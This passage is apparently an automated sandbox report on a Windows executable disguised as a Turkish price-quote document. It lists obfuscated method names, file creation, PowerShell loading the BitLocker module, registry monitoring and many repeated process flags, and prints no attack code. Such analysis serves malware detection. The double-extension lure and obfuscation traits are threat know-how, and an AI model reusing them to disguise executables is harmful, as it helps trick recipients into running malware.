Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.73e0000.5.raw.unpack, gUXBMnpIJ4Gyb5KgNP.cs	High entropy of concatenated method names: 'yPWR6OyTnV', 'Y7TRHJIrwr', 'JvORMgWqDy', 'AZmRq0xA7D', 'wFyRkp06Q6', 'PnnMxgG0Jc', 'FSQMXFdp69', 'PCFMf3JXG3', 'zEeMoVi9g5', 'DuCMYZv4M3'
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.73e0000.5.raw.unpack, Ix5PjBzICtHJCgKMal.cs	High entropy of concatenated method names: 'KMqhajSu23', 'ucihb8l8nq', 'snFhO7Sq0S', 'CDMhpsSlIO', 'H2mhu679GL', 'iE1hDahsVH', 'oGHhLmGabl', 'bRFh4aZQE5', 'AIHhmLIC76', 'WH2hyQOZZQ'
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.73e0000.5.raw.unpack, baZbrrBxvw9bUr3EGN.cs	High entropy of concatenated method names: 'SWiqmAUii8', 'eIvqyThq16', 'yV9qZoOGBj', 'KLDqGJsmKQ', 'CSTqw1KCri', 'jwiqaieowj', 'fgnqdm6siq', 'X2cqbl0LfO', 'BBmqOHRIdY', 'omMqSZUYca'
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.73e0000.5.raw.unpack, MdLCl9fSXVje8kAxWm.cs	High entropy of concatenated method names: 'wWxVtrxosi', 'rcrV9u1TMc', 'BjLVVVpihg', 'UAyVvnyhWi', 'AoAVJaekt1', 'n4jV4jtFug', 'Dispose', 'vdRNKlalyd', 'QYgNHSDxtX', 'IgbNFRbs5B'
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.73e0000.5.raw.unpack, yBPYfGgkoHNIMKtwbY.cs	High entropy of concatenated method names: 'mjutT2Q27N', 'lJGtjtrefl', 'VqrtgmCOWF', 'eO7tARYxJ4', 'wBYtupcYmO', 'xe2teayiTP', 'fV3tDKhbTl', 'q2xtL6Q2Be', 'gRwt0DsgIU', 'MTOtCu5Cge'
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.73e0000.5.raw.unpack, ceHxIXO5kAvlsdGj1R.cs	High entropy of concatenated method names: 'CNpFGW6KQt', 'bFsFaWqOQo', 'aXwFb2P99E', 'A7uFODrW5Z', 'aB4Ft6MUXt', 'uMwFEGkF0H', 'Dn1F9MgY6A', 'Yw5FNTeaRx', 'z5KFVGFOad', 'bBiFhCtDZH'
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.73e0000.5.raw.unpack, dZ02FtbylWJ92gYQ50.cs	High entropy of concatenated method names: 'cMsHg2eKnt', 'eG9HAFAQQW', 'v1fHnNfpHH', 'fnUH2HiyLf', 'rkbHxSIQgB', 'mafHX36CK4', 'CKnHfh08yL', 'QNEHoTq0eL', 'vUAHYbZqU9', 'lVFHQr1n6f'
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.73e0000.5.raw.unpack, qRZGWYPcPKO7KdGecYB.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'LmWlV0OOGj', 'eMslhShDS4', 'mddlvsqYOo', 'kMWlltfYIY', 'nF0lJHCftR', 'riHlU48PkO', 'FXsl4i0Ynl'
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.5660000.4.raw.unpack, DlRvq5yJkomY4LIf3S.cs	High entropy of concatenated method names: 'kZ9YdQeiiHN6iHHplRr', 'wEfHEVeR3qXSbOkcscO', 'RLbYs7foSU', 'PW2e71euAk0VMGlpcQV', 'gjVptie4PJx3mKSamWn', 'LKcyQ4eq4Fn8S34m92l', 'RgtTUJcyZL', 'TBNYf2t1gt', 'NdiYZfNUem', 'u6GYH5kC76'
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.5660000.4.raw.unpack, vH9V9oD7tIKkmfHnnj.cs	High entropy of concatenated method names: 'CO1Gqr7JX', 'O7OmLZJsW', 'AEjTXD5ed', 'DjTcZUKVY', 'V5WOgiNs3', 'ri688DDjg', 'pN9ncriqM', 'x0i4vkLXV', 'aFLjtabv9', 'zVDpUJsTO'
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3c8eeb8.3.raw.unpack, TcS8VYcim4LFgCoqQL.cs	High entropy of concatenated method names: 'zUcPqZ02Ft', 'ylWPkJ92gY', 'V5kP3Avlsd', 'Aj1P8RmN8w', 'ReWPt1tFUX', 'MMnPEIJ4Gy', 'LXwY5DXC56dYxnPVfh', 'JKc3oIsx08mhI5MGAb', 'RZ5PPsPG1H', 'yIkPsrWOUl'
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3c8eeb8.3.raw.unpack, T3JShWYMSOXB2JT12d.cs	High entropy of concatenated method names: 'awZVpRZEnh', 'UJBVueZrgc', 'rhyVexVx1n', 'VIvVD7Me5n', 't2VVLIpZEX', 'd7oV0M1THA', 'SWcVCuAMBQ', 'eg5VirRSYd', 'TGWVBXT6vO', 'khdVThO5GS'
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3c8eeb8.3.raw.unpack, jkLL6q1WrNTt6Dgamm.cs	High entropy of concatenated method names: 'MvNZ4opJY', 'r0CGcsLqB', 'NxHavABBv', 'f6hdGXZ0K', 'A6mOV5IoT', 'nDNSHA1mw', 'F8n6sXhSLBDctsZ1c5', 'Hcev55YMAiS4HiR6W4', 'Wl0N0E6Ib', 'cQHhKrgUQ'
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3c8eeb8.3.raw.unpack, wnUc0Dk25qXsac9pHq.cs	High entropy of concatenated method names: 'mR5s6oqW3B', 'D0gsK7P1Nc', 'K2TsHYqWTU', 't7MsF1aWT2', 'sUdsMUtVdV', 'QcRsRTYduv', 'YXpsqhZsML', 'C58skuOu1s', 'UyVsrGE5KE', 'xE2s3fGyJk'
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3c8eeb8.3.raw.unpack, xN8wbrSENmEK1AeW1t.cs	High entropy of concatenated method names: 'qevMwJtNFR', 'JC8MdkmNRG', 'GvUFeKFBwB', 'l0rFD8NSkl', 'Hy8FLeC50U', 'QDLF0mhhcI', 'PPHFCgnpx7', 'tPIFiDeKxb', 'aRpFBNBX5U', 'u4vFT5kovm'
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3c8eeb8.3.raw.unpack, rvq5KuHBwEQfTnGDfQ.cs	High entropy of concatenated method names: 'Dispose', 'rjePY8kAxW', 'iEY1u0jfcC', 'BkC4xuvtYr', 'xhdPQO9VQC', 'tHxPzACc7n', 'ProcessDialogKey', 'WL21I3JShW', 'hSO1PXB2JT', 'c2d11GHH68'
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3c8eeb8.3.raw.unpack, sthjvDPPHUO0HHVGSim.cs	High entropy of concatenated method names: 'trHhQ9iB4s', 'CxJhzHqmAn', 'N66vIqNCAi', 'm6DvPLXoeB', 'KQMv1mAE2j', 'hq7vsOQUbi', 'B4XvccicnJ', 'U0Wv6KJJEr', 'NY5vKiAkO0', 'DknvHoVR26'
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3c8eeb8.3.raw.unpack, IhXyopF1Rw49jpQcO4.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'l7O1Ye3VTr', 'r351Qdj9tU', 'bCC1zSUM69', 'tP3sISXFlL', 'Gm4sPC0s4j', 'QP4s1dGOZ5', 'ALWsswFYEC', 'DMOfGcRMYM2Eqj5dRlu'
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3c8eeb8.3.raw.unpack, D7jCM22QbVLVTVhNMe.cs	High entropy of concatenated method names: 'RbN93OavTY', 'ax498AQETS', 'ToString', 'yjT9Km36r1', 'uDh9HdpGWl', 'gjh9FdxIjy', 'hZu9MvkBZt', 'AZp9RNm9HZ', 'ddS9qJ52Lm', 'KId9khyjkh'
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3c8eeb8.3.raw.unpack, AHH68TQgN5fypG7yLb.cs	High entropy of concatenated method names: 'yhxhFiDUl7', 'DndhMrucut', 'YsDhR4ihTl', 'iDchq98J3L', 'cKIhVPcdgw', 'VwvhkTl6LK', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3c8eeb8.3.raw.unpack, oHx0EFXTiDEaUNIbYR.cs	High entropy of concatenated method names: 'vZQ9oBuRst', 'XcA9QtjArx', 'iliNIUspAe', 'SOjNP6Fu7u', 'ghp9WkRBlf', 'ATq9jLU0S3', 'vT297DoITG', 'WhY9gs1mfA', 'XTU9AcxSZ8', 'c3B9n6nxFy'
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3c8eeb8.3.raw.unpack, fB4koD7yeIiuFbvh7s.cs	High entropy of concatenated method names: 'xOv5bAgGdE', 'FVA5OXRC6p', 'oG65popIsf', 'mQl5u5Uc5I', 'AKt5D7md0i', 'ebM5LY1Ixk', 'ea65CGamYG', 'a325ikQCLV', 'U2E5TEJGQV', 'GMy5WsmYAv'
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3c8eeb8.3.raw.unpack, gUXBMnpIJ4Gyb5KgNP.cs	High entropy of concatenated method names: 'yPWR6OyTnV', 'Y7TRHJIrwr', 'JvORMgWqDy', 'AZmRq0xA7D', 'wFyRkp06Q6', 'PnnMxgG0Jc', 'FSQMXFdp69', 'PCFMf3JXG3', 'zEeMoVi9g5', 'DuCMYZv4M3'
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3c8eeb8.3.raw.unpack, Ix5PjBzICtHJCgKMal.cs	High entropy of concatenated method names: 'KMqhajSu23', 'ucihb8l8nq', 'snFhO7Sq0S', 'CDMhpsSlIO', 'H2mhu679GL', 'iE1hDahsVH', 'oGHhLmGabl', 'bRFh4aZQE5', 'AIHhmLIC76', 'WH2hyQOZZQ'
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3c8eeb8.3.raw.unpack, baZbrrBxvw9bUr3EGN.cs	High entropy of concatenated method names: 'SWiqmAUii8', 'eIvqyThq16', 'yV9qZoOGBj', 'KLDqGJsmKQ', 'CSTqw1KCri', 'jwiqaieowj', 'fgnqdm6siq', 'X2cqbl0LfO', 'BBmqOHRIdY', 'omMqSZUYca'
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3c8eeb8.3.raw.unpack, MdLCl9fSXVje8kAxWm.cs	High entropy of concatenated method names: 'wWxVtrxosi', 'rcrV9u1TMc', 'BjLVVVpihg', 'UAyVvnyhWi', 'AoAVJaekt1', 'n4jV4jtFug', 'Dispose', 'vdRNKlalyd', 'QYgNHSDxtX', 'IgbNFRbs5B'
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3c8eeb8.3.raw.unpack, yBPYfGgkoHNIMKtwbY.cs	High entropy of concatenated method names: 'mjutT2Q27N', 'lJGtjtrefl', 'VqrtgmCOWF', 'eO7tARYxJ4', 'wBYtupcYmO', 'xe2teayiTP', 'fV3tDKhbTl', 'q2xtL6Q2Be', 'gRwt0DsgIU', 'MTOtCu5Cge'
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3c8eeb8.3.raw.unpack, ceHxIXO5kAvlsdGj1R.cs	High entropy of concatenated method names: 'CNpFGW6KQt', 'bFsFaWqOQo', 'aXwFb2P99E', 'A7uFODrW5Z', 'aB4Ft6MUXt', 'uMwFEGkF0H', 'Dn1F9MgY6A', 'Yw5FNTeaRx', 'z5KFVGFOad', 'bBiFhCtDZH'
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3c8eeb8.3.raw.unpack, dZ02FtbylWJ92gYQ50.cs	High entropy of concatenated method names: 'cMsHg2eKnt', 'eG9HAFAQQW', 'v1fHnNfpHH', 'fnUH2HiyLf', 'rkbHxSIQgB', 'mafHX36CK4', 'CKnHfh08yL', 'QNEHoTq0eL', 'vUAHYbZqU9', 'lVFHQr1n6f'
Source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3c8eeb8.3.raw.unpack, qRZGWYPcPKO7KdGecYB.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'LmWlV0OOGj', 'eMslhShDS4', 'mddlvsqYOo', 'kMWlltfYIY', 'nF0lJHCftR', 'riHlU48PkO', 'FXsl4i0Ynl'

Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	File created: \fiyati_teklif 615tbi507_ on-san vakum san tic_ sipari#u015fi jpeg docx.exe
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	File created: \fiyati_teklif 615tbi507_ on-san vakum san tic_ sipari#u015fi jpeg docx.exe
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	File created: \fiyati_teklif 615tbi507_ on-san vakum san tic_ sipari#u015fi jpeg docx.exe	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	File created: \fiyati_teklif 615tbi507_ on-san vakum san tic_ sipari#u015fi jpeg docx.exe	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
